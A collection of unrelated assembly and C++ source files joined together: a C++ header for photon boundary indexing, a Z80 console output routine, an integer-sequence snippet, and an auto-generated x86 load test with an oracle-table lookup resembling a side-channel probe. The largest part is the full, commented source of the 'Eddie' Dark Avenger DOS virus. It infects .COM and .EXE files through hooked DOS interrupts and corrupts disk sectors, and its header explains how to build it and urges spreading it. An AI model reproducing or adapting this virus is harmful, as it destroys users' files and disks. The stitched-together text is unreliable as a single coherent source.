* (see https://bitbucket.org/simoncblyth/opticks).
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#pragma once
#include <glm/fwd.hpp>
#include <map>
#include <string>
#include <vector>
class Types ;
template <typename T> class NPY ;
#include "NPY.hpp"
// host based indexing of photon data
#include "NPY_API_EXPORT.hh"
class NPY_API BoundariesNPY {
public:
BoundariesNPY(NPY<float>* photons);
public:
void setTypes(Types* types);
void setBoundaryNames(std::map<unsigned int, std::string> names);
// just used to give a name to a boundary code
public:
// boundary code integer is cos_theta signed by OptiX in cu/material1_propagate.cu
void indexBoundaries();
void dump(const char* msg="BoundariesNPY::dump");
private:
static bool second_value_order(const std::pair<int,int>&a, const std::pair<int,int>&b);
public:
glm::ivec4 getSelection();
// 1st four boundary codes provided by the selection
std::vector< std::pair<int, std::string> >& getBoundaries();
protected:
NPY<float>* m_photons ;
std::map<unsigned int, std::string> m_names ;
Types* m_types ;
std::vector< std::pair<int, std::string> > m_boundaries ;
unsigned int m_total ;
};
|
;
; Small C+ Library Functions
;
; Renamed once more and rechristened for ANSIstdio
;
; This outputs a character to the console
;
; 1/4/2000 (Original Aug 98)
;
;
;
; $Id: fputc_cons.asm,v 1.5 2016/05/15 20:15:46 dom Exp $
;
SECTION code_clib
PUBLIC fputc_cons_native ;Print char
.fputc_cons_native
pop bc
pop hl
push hl
push bc
push ix
ld a,l
cp 8
jr nz,fputc_cons1
ld c,$53 ;CURSOR
rst $10
ld a,e
and a
jr z,fputc_exit
dec e
ld c,$52 ;LOCATE
rst $10
jr fputc_exit
.fputc_cons1
IF STANDARDESCAPECHARS
cp 10
ELSE
cp 13
ENDIF
jr nz,fputc_cons2
ld a,10
ld c,$5b ;PUTCHAR
rst $10
ld a,13
.fputc_cons2
ld c,$5b ;PUTCHAR
rst $10
.fputc_exit
pop ix
ret
|
; A167585: a(n) = 12*n^2 - 8*n + 9.
; 13,41,93,169,269,393,541,713,909,1129,1373,1641,1933,2249,2589,2953,3341,3753,4189,4649,5133,5641,6173,6729,7309,7913,8541,9193,9869,10569,11293,12041,12813,13609,14429,15273,16141,17033,17949,18889,19853,20841,21853,22889,23949,25033,26141,27273,28429,29609,30813,32041,33293,34569,35869,37193,38541,39913,41309,42729,44173,45641,47133,48649,50189,51753,53341,54953,56589,58249,59933,61641,63373,65129,66909,68713,70541,72393,74269,76169,78093,80041,82013,84009,86029,88073,90141,92233,94349,96489,98653,100841,103053,105289,107549,109833,112141,114473,116829,119209,121613,124041,126493,128969,131469,133993,136541,139113,141709,144329,146973,149641,152333,155049,157789,160553,163341,166153,168989,171849,174733,177641,180573,183529,186509,189513,192541,195593,198669,201769,204893,208041,211213,214409,217629,220873,224141,227433,230749,234089,237453,240841,244253,247689,251149,254633,258141,261673,265229,268809,272413,276041,279693,283369,287069,290793,294541,298313,302109,305929,309773,313641,317533,321449,325389,329353,333341,337353,341389,345449,349533,353641,357773,361929,366109,370313,374541,378793,383069,387369,391693,396041,400413,404809,409229,413673,418141,422633,427149,431689,436253,440841,445453,450089,454749,459433,464141,468873,473629,478409,483213,488041,492893,497769,502669,507593,512541,517513,522509,527529,532573,537641,542733,547849,552989,558153,563341,568553,573789,579049,584333,589641,594973,600329,605709,611113,616541,621993,627469,632969,638493,644041,649613,655209,660829,666473,672141,677833,683549,689289,695053,700841,706653,712489,718349,724233,730141,736073,742029,748009
mov $1,6
mul $1,$0
add $1,8
mul $1,$0
mul $1,2
add $1,13
|
; "Blessed is he who expects nothing, for he shall not be disappointed."
; The original source of one of the first Bulgarian viruses is in front of
; you. As you may notice, it's full of rubbish and bugs, but nevertheless
; the virus has spread surprisingly quickly troughout the country and made a
; quick round the globe. (It's well-known in Eastern and Western Europe, as
; well as in USA.) Due to the aniversary of its creation, the source is
; distributed freely. You have the rights to distribute the source which can
; be charged or free of charge, with the only condition not to modify it.
; The one, who intentionaly distributes this source modified in any way will
; be punished! Still, the author will be glad if any of you improves it and
; spreads the resulting executive file (i.e., the virus itself). Pay
; attention to the fact that after you assemble the source, the resulting
; .COM-file cannot be run. For that purpose you have to create a three-byte
; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
; two files. Don't try to place a JMP at the beginning of the source.
; DISCLAIMER: The author does not take any responsability for any damage,
; either direct or implied, caused by the usage or not of this source or of
; the resulting code after assembly. No warrant is made about the product
; functionability or quality.
; I cannot resist to express my special gratitude to my "populazer" Dipl.
; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
; not, helps very much in the spreading of my viruses, in spite of the fact
; that he tries to do just the opposite (writing programs in C has never
; led to any good).
; Greetings to all virus writers!
code segment
assume cs:code,ds:code
copyright:
db 'Eddie lives...somewhere in time!',0
date_stamp:
dd 12239000h
checksum:
db 30
; Return the control to an .EXE file:
; Restores DS=ES=PSP, loads SS:SP and CS:IP.
exit_exe:
mov bx,es
add bx,10h
add bx,word ptr cs:[si+call_adr+2]
mov word ptr cs:[si+patch+2],bx
mov bx,word ptr cs:[si+call_adr]
mov word ptr cs:[si+patch],bx
mov bx,es
add bx,10h
add bx,word ptr cs:[si+stack_pointer+2]
mov ss,bx
mov sp,word ptr cs:[si+stack_pointer]
db 0eah ;JMP XXXX:YYYY
patch:
dd 0
; Returns control to a .COM file:
; Restores the first 3 bytes in the
; beginning of the file, loads SP and IP.
exit_com:
mov di,100h
add si,offset my_save
movsb
movsw
mov sp,ds:[6] ;This is incorrect
xor bx,bx
push bx
jmp [si-11] ;si+call_adr-top_file
; Program entry point
startup:
call relative
relative:
pop si ;SI = $
sub si,offset relative
cld
cmp word ptr cs:[si+my_save],5a4dh
je exe_ok
cli
mov sp,si ;A separate stack is supported for
add sp,offset top_file+100h ;the .COM files, in order not to
sti ;overlap the stack by the program
cmp sp,ds:[6]
jnc exit_com
exe_ok:
push ax
push es
push si
push ds
mov di,si
; Looking for the address of INT 13h handler in ROM-BIOS
xor ax,ax
push ax
mov ds,ax
les ax,ds:[13h*4]
mov word ptr cs:[si+fdisk],ax
mov word ptr cs:[si+fdisk+2],es
mov word ptr cs:[si+disk],ax
mov word ptr cs:[si+disk+2],es
mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h
cmp ax,0f000h ;for diskettes if a hard disk is
jne nofdisk ;available
mov word ptr cs:[si+disk+2],ax
mov ax,ds:[40h*4]
mov word ptr cs:[si+disk],ax
mov dl,80h
mov ax,ds:[41h*4+2] ;INT 41h usually points the segment,
cmp ax,0f000h ;where the original INT 13h vector is
je isfdisk
cmp ah,0c8h
jc nofdisk
cmp ah,0f4h
jnc nofdisk
test al,7fh
jnz nofdisk
mov ds,ax
cmp ds:[0],0aa55h
jne nofdisk
mov dl,ds:[2]
isfdisk:
mov ds,ax
xor dh,dh
mov cl,9
shl dx,cl
mov cx,dx
xor si,si
findvect:
lodsw ;Occasionally begins with:
cmp ax,0fa80h ; CMP DL,80h
jne altchk ; JNC somewhere
lodsw
cmp ax,7380h
je intchk
jne nxt0
altchk:
cmp ax,0c2f6h ;or with:
jne nxt ; TEST DL,80h
lodsw ; JNZ somewhere
cmp ax,7580h
jne nxt0
intchk:
inc si ;then there is:
lodsw ; INT 40h
cmp ax,40cdh
je found
sub si,3
nxt0:
dec si
dec si
nxt:
dec si
loop findvect
jmp short nofdisk
found:
sub si,7
mov word ptr cs:[di+fdisk],si
mov word ptr cs:[di+fdisk+2],ds
nofdisk:
mov si,di
pop ds
; Check whether the program is present in memory:
les ax,ds:[21h*4]
mov word ptr cs:[si+save_int_21],ax
mov word ptr cs:[si+save_int_21+2],es
push cs
pop ds
cmp ax,offset int_21
jne bad_func
xor di,di
mov cx,offset my_size
scan_func:
lodsb
scasb
jne bad_func
loop scan_func
pop es
jmp go_program
; Move the program to the top of memory:
; (it's full of rubbish and bugs here)
bad_func:
pop es
mov ah,49h
int 21h
mov bx,0ffffh
mov ah,48h
int 21h
sub bx,(top_bz+my_bz+1ch-1)/16+2
jc go_program
mov cx,es
stc
adc cx,bx
mov ah,4ah
int 21h
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
stc
sbb es:[2],bx
push es
mov es,cx
mov ah,4ah
int 21h
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:[1],8
call mul_16
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call mul_16
add ax,ds:[6]
adc dx,0
sub ax,bx
sbb dx,cx
jc mem_ok
sub ds:[6],ax ;Reduction of the segment size
mem_ok:
pop si
push si
push ds
push cs
xor di,di
mov ds,di
lds ax,ds:[27h*4]
mov word ptr cs:[si+save_int_27],ax
mov word ptr cs:[si+save_int_27+2],ds
pop ds
mov cx,offset aux_size
rep movsb
xor ax,ax
mov ds,ax
mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
mov ds:[21h*4+2],es
mov ds:[27h*4],offset int_27
mov ds:[27h*4+2],es
mov word ptr es:[filehndl],ax
pop es
go_program:
pop si
; Smash the next disk sector:
xor ax,ax
mov ds,ax
mov ax,ds:[13h*4]
mov word ptr cs:[si+save_int_13],ax
mov ax,ds:[13h*4+2]
mov word ptr cs:[si+save_int_13+2],ax
mov ds:[13h*4],offset int_13
add ds:[13h*4],si
mov ds:[13h*4+2],cs
pop ds
push ds
push si
mov bx,si
lds ax,ds:[2ah]
xor si,si
mov dx,si
scan_envir: ;Fetch program's name
lodsw ;(with DOS 2.x it doesn't work anyway)
dec si
test ax,ax
jnz scan_envir
add si,3
lodsb
; The following instruction is a complete nonsense. Try to enter a drive &
; directory path in lowercase, then run an infected program from there.
; As a result of an error here + an error in DOS the next sector is not
; smashed. Two memory bytes are smashed instead, most probably onto the
; infected program.
sub al,'A'
mov cx,1
push cs
pop ds
add bx,offset int_27
push ax
push bx
push cx
int 25h
pop ax
pop cx
pop bx
inc byte ptr [bx+0ah]
and byte ptr [bx+0ah],0fh ;It seems that 15 times doing
jnz store_sec ;nothing is not enough for some.
mov al,[bx+10h]
xor ah,ah
mul word ptr [bx+16h]
add ax,[bx+0eh]
push ax
mov ax,[bx+11h]
mov dx,32
mul dx
div word ptr [bx+0bh]
pop dx
add dx,ax
mov ax,[bx+8]
add ax,40h
cmp ax,[bx+13h]
jc store_new
inc ax
and ax,3fh
add ax,dx
cmp ax,[bx+13h]
jnc small_disk
store_new:
mov [bx+8],ax
store_sec:
pop ax
xor dx,dx
push ax
push bx
push cx
int 26h
; The writing trough this interrupt is not the smartest thing, bacause it
; can be intercepted (what Vesselin Bontchev has managed to notice).
pop ax
pop cx
pop bx
pop ax
cmp byte ptr [bx+0ah],0
jne not_now
mov dx,[bx+8]
pop bx
push bx
int 26h
small_disk:
pop ax
not_now:
pop si
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[si+save_int_13]
mov ds:[13h*4],ax
mov ax,word ptr cs:[si+save_int_13+2]
mov ds:[13h*4+2],ax
pop ds
pop ax
cmp word ptr cs:[si+my_save],5a4dh
jne go_exit_com
jmp exit_exe
go_exit_com:
jmp exit_com
int_24:
mov al,3 ;This instruction seems unnecessary
iret
; INT 27h handler (this is necessary)
int_27:
pushf
call alloc
popf
jmp dword ptr cs:[save_int_27]
; During the DOS functions Set & Get Vector it seems that the virus has not
; intercepted them (this is a doubtfull advantage and it is a possible
; source of errors with some "intelligent" programs)
set_int_27:
mov word ptr cs:[save_int_27],dx
mov word ptr cs:[save_int_27+2],ds
popf
iret
set_int_21:
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
popf
iret
get_int_27:
les bx,dword ptr cs:[save_int_27]
popf
iret
get_int_21:
les bx,dword ptr cs:[save_int_21]
popf
iret
exec:
call do_file
call alloc
popf
jmp dword ptr cs:[save_int_21]
db 'Diana P.',0
; INT 21h handler. Infects files during execution, copying, browsing or
; creating and some other operations. The execution of functions 0 and 26h
; has bad consequences.
int_21:
push bp
mov bp,sp
push [bp+6]
popf
pop bp
pushf
call ontop
cmp ax,2521h
je set_int_21
cmp ax,2527h
je set_int_27
cmp ax,3521h
je get_int_21
cmp ax,3527h
je get_int_27
cld
cmp ax,4b00h
je exec
cmp ah,3ch
je create
cmp ah,3eh
je close
cmp ah,5bh
jne not_create
create:
cmp word ptr cs:[filehndl],0;May be 0 if the file is open
jne dont_touch
call see_name
jnz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push es
push cs
pop es
push si
push di
push cx
push ax
mov di,offset filehndl
stosw
mov si,dx
mov cx,65
move_name:
lodsb
stosb
test al,al
jz all_ok
loop move_name
mov word ptr es:[filehndl],cx
all_ok:
pop ax
pop cx
pop di
pop si
pop es
go_exit:
popf
jnc int_exit ;JMP
close:
cmp bx,word ptr cs:[filehndl]
jne dont_touch
test bx,bx
jz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push ds
push cs
pop ds
push dx
mov dx,offset filehndl+2
call do_file
mov word ptr cs:[filehndl],0
pop dx
pop ds
jmp go_exit
not_create:
cmp ah,3dh
je touch
cmp ah,43h
je touch
cmp ah,56h ;Unfortunately, the command inter-
jne dont_touch ;preter does not use this function
touch:
call see_name
jnz dont_touch
call do_file
dont_touch:
call alloc
popf
call function
int_exit:
pushf
push ds
call get_chain
mov byte ptr ds:[0],'Z'
pop ds
popf
dummy proc far ;???
ret 2
dummy endp
; Checks whether the file is .COM or .EXE.
; It is not called upon file execution.
see_name:
push ax
push si
mov si,dx
scan_name:
lodsb
test al,al
jz bad_name
cmp al,'.'
jnz scan_name
call get_byte
mov ah,al
call get_byte
cmp ax,'co'
jz pos_com
cmp ax,'ex'
jnz good_name
call get_byte
cmp al,'e'
jmp short good_name
pos_com:
call get_byte
cmp al,'m'
jmp short good_name
bad_name:
inc al
good_name:
pop si
pop ax
ret
; Converts into lowercase (the subroutines are a great thing).
get_byte:
lodsb
cmp al,'C'
jc byte_got
cmp al,'Y'
jnc byte_got
add al,20h
byte_got:
ret
; Calls the original INT 21h.
function:
pushf
call dword ptr cs:[save_int_21]
ret
; Arrange to infect an executable file.
do_file:
push ds ;Save the registers in stack
push es
push si
push di
push ax
push bx
push cx
push dx
mov si,ds
xor ax,ax
mov ds,ax
les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack
push es ;and changes them with what is needed
push ax
mov ds:[24h*4],offset int_24
mov ds:[24h*4+2],cs
les ax,ds:[13h*4]
mov word ptr cs:[save_int_13],ax
mov word ptr cs:[save_int_13+2],es
mov ds:[13h*4],offset int_13
mov ds:[13h*4+2],cs
push es
push ax
mov ds,si
xor cx,cx ;Arranges to infect Read-only files
mov ax,4300h
call function
mov bx,cx
and cl,0feh
cmp cl,bl
je dont_change
mov ax,4301h
call function
stc
dont_change:
pushf
push ds
push dx
push bx
mov ax,3d02h ;Now we can safely open the file
call function
jc cant_open
mov bx,ax
call disease
mov ah,3eh ;Close it
call function
cant_open:
pop cx
pop dx
pop ds
popf
jnc no_update
mov ax,4301h ;Restores file's attributes
call function ;if they were changed (just in case)
no_update:
xor ax,ax ;Restores INT 13h and INT 24h
mov ds,ax
pop ds:[13h*4]
pop ds:[13h*4+2]
pop ds:[24h*4]
pop ds:[24h*4+2]
pop dx ;Register restoration
pop cx
pop bx
pop ax
pop di
pop si
pop es
pop ds
ret
; This routine is the working horse.
disease:
push cs
pop ds
push cs
pop es
mov dx,offset top_save ;Read the file beginning
mov cx,18h
mov ah,3fh
int 21h
xor cx,cx
xor dx,dx
mov ax,4202h ;Save file length
int 21h
mov word ptr [top_save+1ah],dx
cmp ax,offset my_size ;This should be top_file
sbb dx,0
jc stop_fuck_2 ;Small files are not infected
mov word ptr [top_save+18h],ax
cmp word ptr [top_save],5a4dh
jne com_file
mov ax,word ptr [top_save+8]
add ax,word ptr [top_save+16h]
call mul_16
add ax,word ptr [top_save+14h]
adc dx,0
mov cx,dx
mov dx,ax
jmp short see_sick
com_file:
cmp byte ptr [top_save],0e9h
jne see_fuck
mov dx,word ptr [top_save+1]
add dx,103h
jc see_fuck
dec dh
xor cx,cx
; Check if the file is properly infected
see_sick:
sub dx,startup-copyright
sbb cx,0
mov ax,4200h
int 21h
add ax,offset top_file
adc dx,0
cmp ax,word ptr [top_save+18h]
jne see_fuck
cmp dx,word ptr [top_save+1ah]
jne see_fuck
mov dx,offset top_save+1ch
mov si,dx
mov cx,offset my_size
mov ah,3fh
int 21h
jc see_fuck
cmp cx,ax
jne see_fuck
xor di,di
next_byte:
lodsb
scasb
jne see_fuck
loop next_byte
stop_fuck_2:
ret
see_fuck:
xor cx,cx ;Seek to the end of file
xor dx,dx
mov ax,4202h
int 21h
cmp word ptr [top_save],5a4dh
je fuck_exe
add ax,offset aux_size+200h ;Watch out for too big .COM files
adc dx,0
je fuck_it
ret
; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
fuck_exe:
mov dx,word ptr [top_save+18h]
neg dl
and dx,0fh
xor cx,cx
mov ax,4201h
int 21h
mov word ptr [top_save+18h],ax
mov word ptr [top_save+1ah],dx
fuck_it:
mov ax,5700h ;Get file's date
int 21h
pushf
push cx
push dx
cmp word ptr [top_save],5a4dh
je exe_file ;Very clever, isn't it?
mov ax,100h
jmp short set_adr
exe_file:
mov ax,word ptr [top_save+14h]
mov dx,word ptr [top_save+16h]
set_adr:
mov di,offset call_adr
stosw
mov ax,dx
stosw
mov ax,word ptr [top_save+10h]
stosw
mov ax,word ptr [top_save+0eh]
stosw
mov si,offset top_save ;This offers the possibilities to
movsb ;some nasty programs to restore
movsw ;exactly the original length
xor dx,dx ;of the .EXE files
mov cx,offset top_file
mov ah,40h
int 21h ;Write the virus
jc go_no_fuck ;(don't trace here)
xor cx,ax
jnz go_no_fuck
mov dx,cx
mov ax,4200h
int 21h
cmp word ptr [top_save],5a4dh
je do_exe
mov byte ptr [top_save],0e9h
mov ax,word ptr [top_save+18h]
add ax,startup-copyright-3
mov word ptr [top_save+1],ax
mov cx,3
jmp short write_header
go_no_fuck:
jmp short no_fuck
; Construct the .EXE file's header
do_exe:
call mul_hdr
not ax
not dx
inc ax
jne calc_offs
inc dx
calc_offs:
add ax,word ptr [top_save+18h]
adc dx,word ptr [top_save+1ah]
mov cx,10h
div cx
mov word ptr [top_save+14h],startup-copyright
mov word ptr [top_save+16h],ax
add ax,(offset top_file-offset copyright-1)/16+1
mov word ptr [top_save+0eh],ax
mov word ptr [top_save+10h],100h
add word ptr [top_save+18h],offset top_file
adc word ptr [top_save+1ah],0
mov ax,word ptr [top_save+18h]
and ax,1ffh
mov word ptr [top_save+2],ax
pushf
mov ax,word ptr [top_save+19h]
shr byte ptr [top_save+1bh],1
rcr ax,1
popf
jz update_len
inc ax
update_len:
mov word ptr [top_save+4],ax
mov cx,18h
write_header:
mov dx,offset top_save
mov ah,40h
int 21h ;Write the file beginning
no_fuck:
pop dx
pop cx
popf
jc stop_fuck
mov ax,5701h ;Restore the original file date
int 21h
stop_fuck:
ret
; The following is used by the INT 21h and INT 27h handlers in connection
; to the program hiding in memory from those who don't need to see it.
; The whole system is absurde and meaningless and it is also another source
; for program conflicts.
alloc:
push ds
call get_chain
mov byte ptr ds:[0],'M'
pop ds
; Assures that the program is the first one in the processes,
; which have intercepted INT 21h (yet another source of conflicts).
ontop:
push ds
push ax
push bx
push dx
xor bx,bx
mov ds,bx
lds dx,ds:[21h*4]
cmp dx,offset int_21
jne search_segment
mov ax,ds
mov bx,cs
cmp ax,bx
je test_complete
; Searches the segment of the sucker who has intercepted INT 21h, in
; order to find where it has stored the old values and to replace them.
; Nothing is done for INT 27h.
xor bx,bx
search_segment:
mov ax,[bx]
cmp ax,offset int_21
jne search_next
mov ax,cs
cmp ax,[bx+2]
je got_him
search_next:
inc bx
jne search_segment
je return_control
got_him:
mov ax,word ptr cs:[save_int_21]
mov [bx],ax
mov ax,word ptr cs:[save_int_21+2]
mov [bx+2],ax
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
xor bx,bx
; Even if he has not saved them in the same segment, this won't help him.
return_control:
mov ds,bx
mov ds:[21h*4],offset int_21
mov ds:[21h*4+2],cs
test_complete:
pop dx
pop bx
pop ax
pop ds
ret
; Fetch the segment of the last MCB
get_chain:
push ax
push bx
mov ah,62h
call function
mov ax,cs
dec ax
dec bx
next_blk:
mov ds,bx
stc
adc bx,ds:[3]
cmp bx,ax
jc next_blk
pop bx
pop ax
ret
; Multiply by 16
mul_hdr:
mov ax,word ptr [top_save+8]
mul_16:
mov dx,10h
mul dx
ret
db 'This program was written in the city of Sofia '
db '(C) 1988-89 Dark Avenger',0
; INT 13h handler.
; Calls the original vectors in BIOS, if it's a writing call
int_13:
cmp ah,3
jnz subfn_ok
cmp dl,80h
jnc hdisk
db 0eah ;JMP XXXX:YYYY
my_size: ;--- Up to here comparison
disk: ; with the original is made
dd 0
hdisk:
db 0eah ;JMP XXXX:YYYY
fdisk:
dd 0
subfn_ok:
db 0eah ;JMP XXXX:YYYY
save_int_13:
dd 0
call_adr:
dd 100h
stack_pointer:
dd 0 ;The original value of SS:SP
my_save:
int 20h ;The original contents of the first
nop ;3 bytes of the file
top_file: ;--- Up to here the code is written
filehndl equ $ ; in the files
filename equ filehndl+2 ;Buffer for the name of the opened file
save_int_27 equ filename+65 ;Original INT 27h vector
save_int_21 equ save_int_27+4 ;Original INT 21h vector
aux_size equ save_int_21+4 ;--- Up to here is moved into memory
top_save equ save_int_21+4 ;Beginning of the buffer, which
;contains
; - The first 24 bytes read from file
; - File length (4 bytes)
; - The last bytes of the file
; (my_size bytes)
top_bz equ top_save-copyright
my_bz equ my_size-copyright
code ends
end
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xd95c, %rbx
nop
mfence
movl $0x61626364, (%rbx)
nop
nop
nop
nop
nop
sub $24508, %r8
lea addresses_WT_ht+0x1d859, %rax
nop
nop
nop
inc %rcx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
and $0xffffffffffffffc0, %rax
vmovaps %ymm0, (%rax)
nop
nop
nop
and $25317, %rcx
lea addresses_WC_ht+0x116dd, %r8
nop
nop
nop
nop
add $33746, %r12
mov $0x6162636465666768, %rcx
movq %rcx, (%r8)
nop
nop
nop
xor $48630, %r11
lea addresses_D_ht+0xaa59, %rdi
nop
sub %rcx, %rcx
movb $0x61, (%rdi)
nop
xor $2624, %rcx
lea addresses_WT_ht+0xc659, %rsi
lea addresses_normal_ht+0x1df19, %rdi
nop
nop
nop
nop
nop
inc %r11
mov $49, %rcx
rep movsw
nop
cmp $48050, %rax
lea addresses_WT_ht+0x11659, %rsi
lea addresses_WC_ht+0xb7f1, %rdi
nop
nop
sub $33872, %rbx
mov $56, %rcx
rep movsl
nop
sub %rsi, %rsi
lea addresses_WC_ht+0x1d289, %rcx
clflush (%rcx)
nop
xor $38909, %rax
movl $0x61626364, (%rcx)
and %rcx, %rcx
lea addresses_WT_ht+0x5bd9, %rbx
nop
nop
xor %r8, %r8
mov (%rbx), %r11d
nop
nop
and %rdi, %rdi
lea addresses_D_ht+0x1dc59, %rax
nop
nop
nop
sub %rcx, %rcx
mov $0x6162636465666768, %r11
movq %r11, %xmm6
and $0xffffffffffffffc0, %rax
movntdq %xmm6, (%rax)
nop
nop
nop
nop
add $62571, %rbx
lea addresses_WT_ht+0x160c1, %rsi
lea addresses_UC_ht+0xb0d9, %rdi
nop
nop
nop
nop
nop
add $44836, %r11
mov $66, %rcx
rep movsq
nop
nop
nop
nop
nop
mfence
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r15
push %r8
push %rcx
push %rdx
// Load
lea addresses_RW+0x1e439, %rdx
nop
nop
nop
nop
cmp %r11, %r11
mov (%rdx), %rcx
nop
nop
nop
nop
and %rcx, %rcx
// Store
lea addresses_WC+0xe8d1, %r15
nop
nop
nop
add $39705, %r13
mov $0x5152535455565758, %rcx
movq %rcx, (%r15)
nop
nop
nop
nop
cmp $9451, %rcx
// Store
lea addresses_RW+0x1d6c9, %r11
nop
nop
nop
add %r13, %r13
movw $0x5152, (%r11)
nop
nop
nop
nop
nop
sub $37607, %rdx
// Faulty Load
lea addresses_RW+0x15859, %r10
and %rcx, %rcx
movups (%r10), %xmm1
vpextrq $0, %xmm1, %r15
lea oracles, %rcx
and $0xff, %r15
shlq $12, %r15
mov (%rcx,%r15,1), %r15
pop %rdx
pop %rcx
pop %r8
pop %r15
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 4, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 5, 'NT': True, 'type': 'addresses_RW', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WC', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_RW', 'size': 2, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': True, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 